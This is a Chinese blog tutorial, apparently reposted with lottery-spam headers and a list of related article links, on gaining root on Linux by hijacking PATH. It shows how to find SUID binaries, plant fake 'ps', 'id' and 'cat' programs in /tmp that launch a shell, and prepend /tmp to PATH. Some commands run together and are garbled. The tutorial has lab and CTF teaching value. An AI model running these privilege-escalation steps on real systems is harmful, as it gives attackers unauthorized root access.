极速快3网站:如何使用环境变量进行Linux提权的方法详细资料概述

马哥Linux运维 ? 2018-07-05 09:50 ? 次阅读

极速快3是什么彩票 www.ln0d0.cn 在这篇文章中,我将会为大家介绍一些使用环境变量进行Linux提权的方法,包括在CTF challenges中使用到一些的技术?;安欢嗨?,让我们进入正题!

介绍

PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通?;咕哂?sbin和/usr/sbin条目,以便于系统管理命令的执行。

使用echo命令显示当前PATH环境变量:

echo $PATH

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

如果你在PATH变量中看到‘.’,则意味着登录用户可以从当前目录执行二进制文件/脚本,这对于攻击者而言也是一个提权的绝好机会。这里之所以没有指定程序的完整路径,往往是因为编写程序时的疏忽造成的。

方法1

Ubuntu LAB SET_UP

当前,我们位于/home/raj目录,我们将在其中创建一个名为/script的新目录。在script目录下,我们将编写一个小型的c程序来调用系统二进制文件的函数。

pwdmkdir scriptcd /scriptnano demo.c

如何使用环境变量进行Linux提权的方法详细资料概述

正如你在demo.c文件中看到的,我们正在调用ps命令。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o shellchmod u+s shellls -la shell

受害者VM机器

假设我们已经成功渗透目标,并进入提权阶段。我们通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。

find / -perm -u=s -type f 2>/dev/null

通过上述命令,攻击者可以枚举出目标系统上所有的可执行文件,这里可以看到/home/raj/script/shell具有SUID权限。

进入到/home/raj/script目录,可以看到该目录下有一个可执行的“shell”文件,我们运行这个文件。

/home/raj/script

Echo命令

cd /tmpecho “/bin/sh” > pschmod 777 psecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shellwhoami

Copy命令

cd /home/raj/script/cp /bin/sh /tmp/psecho $PATHexport PATH=/tmp:$PATH./shellwhoami

Symlink命令

ln -s /bin/sh psexport PATH=.:$PATH./shellidwhoami

注意:符号链接也叫软链接,如果目录具有完全权限,则它将成功运行。在Ubuntu中symlink情况下,我们已经赋予了/script目录777的权限。

因此,攻击者可以操纵环境变量PATH来进行提权,并获得root访问权限。

方法2

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境,现在在脚本目录中,我们将编写一个小型的c程序来调用系统二进制文件的函数。

pwdmkdir scriptcd /scriptnano demo.c

正如你在demo.c文件中看到的,我们正在调用id命令。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o shell2chmod u+s shell2ls -la shell2

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段。我们通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。在这里,我们可以看到/home/raj/script/shell2具有SUID权限。

find / -perm -u=s -type f 2>/dev/null

进入到/home/raj/script目录,可以看到该目录下有一个可执行的“shell2”文件,我们运行这个文件。

cd /home/raj/scriptls./shell2

Echo命令

cd /tmpecho “/bin/sh” > idchmod 777 idecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shell2whoami

方法3

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境。正如你在demo.c文件中看到的,我们正在调用cat命令从etc/passwd文件中读取内容。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o rajchmod u+s rajls -la raj

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段,通过执行以下命令查看sudo用户列表。

find / -perm -u=s -type f 2>/dev/null

在这里,我们可以看到/home/raj/script/raj具有SUID权限,进入到home/raj/script/目录,可以看到该目录下有一个可执行的“raj”文件。所以当我们运行这个文件时,它会把etc/passwd文件作为输出结果。

cd /home/raj/script/ls./raj

Nano**编辑器**

cd /tmpnano cat

现在,当终端打开时输入/bin/bash并保存。

chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./rajwhoami

方法4

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境。正如你在demo.c文件中看到的,我们正在调用cat命令读取/home/raj中的msg.txt中的内容,但/home/raj中并没有这样的文件。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o ignitechmod u+s ignitels -la ignite

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段,通过执行以下命令查看sudo用户列表

find / -perm -u=s -type f 2>/dev/null

在这里,我们可以看到/home/raj/script/ignite具有SUID权限,进入到/home/raj/script目录,可以看到该目录下有一个可执行的“ignite”文件。所以当我们运行这个文件时,它会报错“cat: /home/raj/msg.txt”文件或目录不存在。

cd /home/raj/scriptls./ignite

Vi编辑器

cd /tmpvi cat

现在,当终端打开时输入/bin/bash并保存。

chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./ignitewhoami

如何使用环境变量进行Linux提权的方法详细资料概述

原文标题:黑客的Linux神技能:使用环境变量进行提权

文章出处:【微信号:magedu-Linux,微信公众号:马哥Linux运维】欢迎添加关注!文章转载请注明出处。

收藏 人收藏
分享:

评论

相关推荐

Linux教程之Linux如何进行进程创建

这是一个经典的操作系统问题:进程是什么?相信很多人可以回答出来:进程就是一个运行中的程序实体?;卮鸬?...

发表于 12-11 17:33 ? 8次 阅读
Linux教程之Linux如何进行进程创建

Linux服务器配置全程实录电子教材免费下载

Linux 服务器配置是Linux的最主要应用之一,在企业中应用广泛,本书以企业Linux服务器架设....

发表于 12-11 17:11 ? 9次 阅读
Linux服务器配置全程实录电子教材免费下载

移植Bootloader的过程总结资料说明

linux系统上电后启动过程:---启动引导加载程序bootloader(一些CPU在运行bootl....

发表于 12-11 17:11 ? 9次 阅读
移植Bootloader的过程总结资料说明

明远智睿MY-IMX6-EK200 L3035测试手册(1)

1 测试前的准备 1)请按照《Linux快速启动手册》中的“Linux快速启动” -> “连接设备”进行连接。 2)请按照《Linux快速...

发表于 12-11 16:37 ? 113次 阅读
明远智睿MY-IMX6-EK200 L3035测试手册(1)

linux嵌入式开发板推荐,资深程序员教给你|外赠Linux必读电子书

嵌入式开发板如何选择? 首先了解嵌入式linux开发板,了解了之后,那就是如何选择的问题了,选择linux开发板其实简单的说就是有...

发表于 12-11 16:08 ? 43次 阅读
linux嵌入式开发板推荐,资深程序员教给你|外赠Linux必读电子书

关于天嵌TQIMX6Q工控板的LTIB安装配置的技术分享

  关于天嵌TQIMX6Q工控板的LTIB安装配置的技术分享,LTIB(Linux Target Image Builder)工程是一个使用在不同...

发表于 12-11 16:06 ? 112次 阅读
关于天嵌TQIMX6Q工控板的LTIB安装配置的技术分享

PIC18F47J53作为USB HID键盘兼容性问题?

你好,我正在搜索一些示例代码来帮助我开始创建一个能模拟USB HID键盘的设备,我发现一些代码浏览互联网,代码是Emil En...

发表于 12-11 15:47 ? 12次 阅读
PIC18F47J53作为USB HID键盘兼容性问题?

为Linux等其他操作系统提供了5.2 sdk库

你好, 我计划将WICE应用程序移植到Linux中,但是,下面的库似乎没有源码。 BasLyGual.ARMYCM4.释放。 我在图书...

发表于 12-11 14:54 ? 34次 阅读
为Linux等其他操作系统提供了5.2 sdk库

Linux教程之Linux网络基础的详细资料概述

主要让读者在使用Internet之前对Internet有一个大致的了解,以帮助读者对本书后续章节的学....

发表于 12-11 14:00 ? 9次 阅读
Linux教程之Linux网络基础的详细资料概述

嵌入式教程之Bootloader的详细资料说明

Linux 内核的启动是需要一定的必要条件的,但在CPU 刚上电启动时,一般连内存控制器都没有配置过....

发表于 12-11 13:59 ? 16次 阅读
嵌入式教程之Bootloader的详细资料说明

C语言知多少

C语言相信学习单片机 嵌入式  底层开发等等的朋友都是不陌生的,那么对于C语言大家认为自己都已经了解了吗?。?! 发...

发表于 12-11 13:57 ? 43次 阅读
C语言知多少

无法在Linux中访问Platform Cable USB II

嗨, 我已经在运行Virtualbox映像的Centos 6.5上安装了Vivado Webpack 2014.4。 我已经使用“sudo xsetup”运行设置并选择...

发表于 12-11 11:18 ? 35次 阅读
无法在Linux中访问Platform Cable USB II

Vivado 14.2 DVD只能从网络安装

你好, 我有vivado 14.2 DVD,我正试图在我的电脑上用linux安装它。 我遇到的问题是我只能从网络下载vivado而不是从DVD安...

发表于 12-11 11:16 ? 33次 阅读
Vivado 14.2 DVD只能从网络安装

SinlinxA33搭建Qt App开发环境编写helloworld

Step 1 在虚拟机(CentOS7)上安装Qt Creator 将qt-creator-opensource-linux-x86_64-3.5.1.run 拷贝到虚拟机中,双击安装...

发表于 12-11 10:46 ? 103次 阅读
SinlinxA33搭建Qt App开发环境编写helloworld

SinA332.0开发板Linux&Qt调整VGA分辨率为1280x720

[table] [tr][td]Step 1    修改build.sh vim /root/work/sinlinx/a33/lichee/buildroot/target/sinlinx_board/bui...

发表于 12-10 14:49 ? 420次 阅读
SinA332.0开发板Linux&Qt调整VGA分辨率为1280x720

安卓系统使用教程之安卓系统的50个使用技巧资料免费下载

安卓最近两年的发展,现在的用户界面和交互都比较人性化了,但是很多安卓的新用户还是不怎么了解安卓系统手....

发表于 12-10 08:00 ? 15次 阅读
安卓系统使用教程之安卓系统的50个使用技巧资料免费下载

关于Linux不要尝试着去使用的10条命令

Linux命令行佷有用、很高效,也很有趣,但有时候也很危险,尤其是在你不确定你自己在正在做什么时候。

的头像 马哥Linux运维 发表于 12-09 10:15 ? 279次 阅读
关于Linux不要尝试着去使用的10条命令

Linux入门教程之快速学习Linux AWK命令的教程免费下载

awk是一个强大的文本分析工具,相对于grep的查找,sed的编辑,awk在其对数据分析并生成报告时....

的头像 马哥Linux运维 发表于 12-08 10:39 ? 220次 阅读
Linux入门教程之快速学习Linux AWK命令的教程免费下载

IMX6 MfgTool烧录的详细步骤

首先,有必要了解开发板支持的各系统版本,并根据自己的需要选择对应的 系统版本。

发表于 12-08 09:26 ? 70次 阅读
IMX6 MfgTool烧录的详细步骤

Linux入门教程之Linux的基本操作详细资料说明

本文档的主要内容详细介绍的是Linux入门教程之Linux的基本操作详细资料说明主要内容包括了:1,....

发表于 12-07 17:21 ? 79次 阅读
Linux入门教程之Linux的基本操作详细资料说明

25个有用的技巧和窍门,帮助你让Linux系统更加安全

你真的需要安装所有的服务么?建议不要安装无用的包,避免由这些包带来的漏洞。这将最小化风险,因为一个服....

的头像 马哥Linux运维 发表于 12-07 16:10 ? 233次 阅读
25个有用的技巧和窍门,帮助你让Linux系统更加安全

嵌入式教程之Linux的基础命令详细资料说明

本文档的主要内容详细介绍的是嵌入式教程之Linux的基础命令详细资料说明主要内容包括了:1.Linu....

发表于 12-06 17:31 ? 38次 阅读
嵌入式教程之Linux的基础命令详细资料说明

Android教程之如何使用命令行工具和Android模拟器

到目前为止,本书包含了一些非??淼目颇抗赜谘叭绾卧诵蠥ndroid平台。就这一点来说,对于使用Ec....

发表于 12-06 10:15 ? 23次 阅读
Android教程之如何使用命令行工具和Android模拟器

你真的了解ARM吗

51单片机寄存器比较少,指令只有111条;而arm芯片寄存器较多,指令集也多,要掌握它需要耐心和时间....

的头像 电子发烧友网工程师 发表于 12-06 08:48 ? 229次 阅读
你真的了解ARM吗

3CX统一通信解决方案,解决企业通信问题

3CX是一个完整的统一通讯解决方案。将语音、视频、移动办公和信息服务集成在一个平台上,因而不需要多台....

的头像 CTI论坛 发表于 12-05 15:20 ? 164次 阅读
3CX统一通信解决方案,解决企业通信问题

学会分析Linux内核需要多久?8分钟

出于简便考虑,在此分析中,我忽略了对大内核的处理的分析,因为对大内核的处理,只是此引导过程中的一个很....

的头像 马哥Linux运维 发表于 12-04 17:06 ? 274次 阅读
学会分析Linux内核需要多久?8分钟

如何安装和配置NI USB数据采集(DAQ)设备

本指南描述了如何安装和配置NI USB数据采集(DAQ)设备,以及如何验证这些设备是否正常工作。NI....

发表于 12-03 08:00 ? 38次 阅读
如何安装和配置NI USB数据采集(DAQ)设备

Linux教程之如何进行软件包管理

软件包管理器(RPM)是开放打包系统,在Red Hat Linux 里,因为有了Red Hat Pa....

发表于 11-30 16:36 ? 41次 阅读
Linux教程之如何进行软件包管理

如何使用ARM开发板和Linux嵌入式系统设计一个智能点菜系统

本课题设计是以ARM开发板搭载Linux嵌入式系统为核心,使用QT编程制作GUI点菜终端,用LCD屏....

发表于 11-29 08:00 ? 171次 阅读
如何使用ARM开发板和Linux嵌入式系统设计一个智能点菜系统

Linux编程时遇到Oops提示该如何排查?

各位工程师在Linux下开发程序时,有没有遇到由于系统中存在某些小故障而跳出了“Oops”提示的情况....

的头像 人间烟火123 发表于 11-28 16:52 ? 3745次 阅读
Linux编程时遇到Oops提示该如何排查?

私人订制Linux的全部操作,打造一个属于自己的Linux小系统

我们要在一个现有的Linux系统上加一块硬盘/dev/sdb,在硬盘上分两个分区,一个是/boot,....

的头像 马哥Linux运维 发表于 11-28 16:22 ? 331次 阅读
私人订制Linux的全部操作,打造一个属于自己的Linux小系统

Linux操作系统实用教程之如何进行Linux的安装启动与关闭

用户首先明确安装用途以及和现有计算机操作系统的关系,进行确认,了解掌握Linux操作系统安装的一般性....

发表于 11-28 15:56 ? 31次 阅读
Linux操作系统实用教程之如何进行Linux的安装启动与关闭

Linux应用基础教程之Linux如何进行系统管理

本文档的主要内容详细介绍的是Linux应用基础教程之Linux如何进行系统管理主要内容包括了:1 用....

发表于 11-28 15:56 ? 34次 阅读
Linux应用基础教程之Linux如何进行系统管理

Linux应用基础教程之Linux的网络服务资料概述

本文档的主要内容详细介绍的是Linux应用基础教程之Linux的网络服务资料概述主要内容包括了:1 ....

发表于 11-28 15:56 ? 24次 阅读
Linux应用基础教程之Linux的网络服务资料概述

如何成为Linux驱动工程师

由于很多人总问这个问题,所以这里做一个总结供大家参考。这里必须先说明,以下的步骤都是针对Linux系....

的头像 玩转单片机 发表于 11-28 15:50 ? 275次 阅读
如何成为Linux驱动工程师

如何在Win下安装linux的虚拟机详细安装方法资料概述

本文档的主要内容详细介绍的是如何在Win7下安装linux的虚拟机详细安装方法资料概述免费下载。

发表于 11-28 15:03 ? 26次 阅读
如何在Win下安装linux的虚拟机详细安装方法资料概述

GTK+和Glade GUI编程教程资料免费下载

如果你没有任何GTK+ 的编程经验, 那么, 对于我将要阐述的一些概念你也许会听着犯迷糊。不过,不用....

发表于 11-27 16:37 ? 34次 阅读
GTK+和Glade GUI编程教程资料免费下载

如何配置和使用Linux内核printk功能

了解如何配置和使用Linux内核printk功能,包括其动态调试功能。 这样可以选择性地打印调试消....

的头像 Xilinx视频 发表于 11-27 06:40 ? 63次 观看
如何配置和使用Linux内核printk功能

Linux以太网解决方案的介绍

本课程将回顾高性能以太网解决方案所需的系统功能。 将审查Xilinx以太网IP内核和相关设备驱动程....

的头像 Xilinx视频 发表于 11-27 06:38 ? 82次 观看
Linux以太网解决方案的介绍

Linux设备驱动程序的平台驱动程序和字符驱动程序介绍

了解Linux设备驱动程序的基础知识,重点介绍平台驱动程序和字符驱动程序。 提出了简单的平台驱动程....

的头像 Xilinx视频 发表于 11-27 06:32 ? 94次 观看
Linux设备驱动程序的平台驱动程序和字符驱动程序介绍

俄罗斯反病毒软件厂商Dr.Web发现了一种新型木马

如果程序尚不存在,它甚至可以自行下载 nohup 工具来实现这一点。在牢牢掌握了受感染的主机之后,它....

的头像 Linux爱好者 发表于 11-26 15:27 ? 256次 阅读
俄罗斯反病毒软件厂商Dr.Web发现了一种新型木马

如何在Linux下实现MySQL数据库定时自动备份

备份是容灾的基础,是指为防止系统出现操作失误或系统故障导致数据丢失,而将全部或部分数据集合从应用主机....

的头像 马哥Linux运维 发表于 11-26 11:05 ? 240次 阅读
如何在Linux下实现MySQL数据库定时自动备份

GNU ARM汇编入门教程的详细资料免费下载

尽管在 Linux 下使用 C 或 C++编写程序很方便,但汇编源程序用于系统最基本的初始化,如初始....

发表于 11-26 08:00 ? 45次 阅读
GNU ARM汇编入门教程的详细资料免费下载

C语言教程之《C程序设计语言 第2版新版》电子教材免费下载

《C程序设计语言(第2版?新版)》讲述深入浅出,配合典型例证,通俗易懂,实用性强,适合作为大专院校计....

发表于 11-26 08:00 ? 100次 阅读
C语言教程之《C程序设计语言 第2版新版》电子教材免费下载

如何在嵌入式Linux中使用GPIO

了解如何在嵌入式Linux中使用GPIO,特别强调Zynq-7000系列。 我们介绍了基本的用户和....

的头像 Xilinx视频 发表于 11-26 07:02 ? 143次 观看
如何在嵌入式Linux中使用GPIO

Linux设备驱动程序基础知识的了解

了解Linux设备驱动程序的基础知识,重点关注设备节点,内核框架,虚拟文件??系统和内核???。 提....

的头像 Xilinx视频 发表于 11-26 06:51 ? 102次 观看
Linux设备驱动程序基础知识的了解

在QEMU软件仿真器上运行Zynq UltraScale+ MPSoC

Xilinx展示了在QEMU软件仿真器上运行的Zynq UltraScale + MPSoC。 四....

的头像 Xilinx视频 发表于 11-26 06:46 ? 120次 观看
在QEMU软件仿真器上运行Zynq UltraScale+ MPSoC

顶级Linux开发者必不可少的编程阅读书籍

Linux 是在大约上世纪 90 年代开发出来的,与它一起问世的还有其他一些完成基础功能的开源软件。....

的头像 人间烟火123 发表于 11-25 10:47 ? 2725次 阅读
顶级Linux开发者必不可少的编程阅读书籍

新型 Linux 病毒出炉 比传统恶意Linux 病毒更恶意

俄罗斯杀毒软件公司 Dr.Web 近日公开了一个被称为 Linux.BtcMine.174 的新型木....

的头像 人间烟火123 发表于 11-25 10:30 ? 387次 阅读
新型 Linux 病毒出炉 比传统恶意Linux 病毒更恶意

如何用替换函数的Trick做正常的事情

替换一个已经在内存中的函数,使得执行流流入我们自己的逻辑,然后再调用原始的函数,这是一个很古老的话题....

的头像 Linuxer 发表于 11-23 11:00 ? 262次 阅读
如何用替换函数的Trick做正常的事情

如何在ZC702板上运行Linux内核源代码

了解如何获取Xilinx Linux内核源代码,配置它,构建内核和设备树,最后在ZC702板上运行新....

的头像 Xilinx视频 发表于 11-23 07:09 ? 123次 观看
如何在ZC702板上运行Linux内核源代码

Linux DMA Engine框架的介绍

此会话描述如何从设备驱动程序在Linux中使用DMA。 这包括内存分配,缓存控制和DMA设备控制。....

的头像 Xilinx视频 发表于 11-23 06:29 ? 165次 观看
Linux DMA Engine框架的介绍

Linux教程之Linux的安全管理和高级应用资料概述

Linux 安全管理主要分为四个方面: (1)防止未授权存?。赫馐羌扑慊踩钪匾奈侍?。用户意识....

发表于 11-22 17:06 ? 55次 阅读
Linux教程之Linux的安全管理和高级应用资料概述

Linux教程之Linux的网络应用详细知识点资料免费下载

本文档的主要内容详细介绍的是Linux教程之Linux的网络应用详细知识点资料免费下载主要内容包括了....

发表于 11-22 17:06 ? 57次 阅读
Linux教程之Linux的网络应用详细知识点资料免费下载

嵌入式Linux工程师需要了解的八大开发知识点

嵌入式Linux工程师的学习需要具备一定的C语言基础,C语言是嵌入式领域最重要也是最主要的编程语言,....

的头像 MCU开发加油站 发表于 11-22 16:14 ? 374次 阅读
嵌入式Linux工程师需要了解的八大开发知识点

LINUX应用编程函数自学手册详细资料免费下载

本文档的主要内容详细介绍的是LINUX应用编程函数自学手册详细资料免费下载。

发表于 11-22 08:00 ? 40次 阅读
LINUX应用编程函数自学手册详细资料免费下载

Rockchip Thermal的调试方法详细开发指南资料免费下载

在 Linux 内核中,定义一套温控框架 linux Generic Thermal Sysfs D....

发表于 11-22 08:00 ? 49次 阅读
Rockchip Thermal的调试方法详细开发指南资料免费下载

如何为Linux编写用户空间设备驱动程序

了解如何为Linux编写用户空间设备驱动程序。 用户空间驱动程序为某些设备提供内核空间驱动程序的替....

的头像 英特尔 Altera视频 发表于 11-22 07:04 ? 175次 观看
如何为Linux编写用户空间设备驱动程序

u-boot中Hush shell的功能及编写脚本的方法介绍

了解u-boot中Hush shell的功能,以及如何为其编写脚本。 说明了存储和检索脚本的方法。

的头像 Xilinx视频 发表于 11-22 07:00 ? 190次 观看
u-boot中Hush shell的功能及编写脚本的方法介绍

英利Linux工控主板应用程序编程手册详细资料免费下载

英利 EM9x60 系列工控主板包括若干个型号,为便于读者了解和使用英利产品,本手册中一些部分会以 ....

发表于 11-21 08:00 ? 45次 阅读
英利Linux工控主板应用程序编程手册详细资料免费下载

AM4379 AM437x ARM Cortex-A9 微处理器 (MPU)

TI AM437x高性能处理器基于ARM Cortex-A9内核。 这些处理器通过3D图形加速得到增强,可实现丰富的图形用户界面,还配备了协处理器,用于进行确定性实时处理(包括EtherCAT,PROFIBUS,EnDat等工业通信协议)。该器件支持高级操作系统(HLOS)?;贚inux的® 可从TI免费获取。其它HLOS可从TI的设计网络和生态系统合作伙伴处获取。 这些器件支持对采用较低性能ARM内核的系统升级,并提供更新外设,包括QSPI-NOR和LPDDR2等存储器选项。 这些处理器包含功能方框图中显示的子系统,并且后跟相应的“说明”中添加了更多信息说明。 处理器子系统基于ARM Cortex-A9内核,PowerVR SGX™图形加速器子系统提供3D图形加速功能以支持显示和高级用户界面。 可编程实时单元子系统和工业通信子系统(PRU-ICSS与ARM内核分离,允许单独操作和计时,以实现更高的效率和灵活性.PRU-ICSS支持更多外设接口和EtherCAT,PROFINET,EtherNet /IP,PROFIBUS,以太网Powerlink,Sercos,EnDat等...

发表于 09-25 11:51 ? 33次 阅读
AM4379 AM437x ARM Cortex-A9 微处理器 (MPU)
33| 742| 827| 190| 40| 741| 568| 123| 608| 533|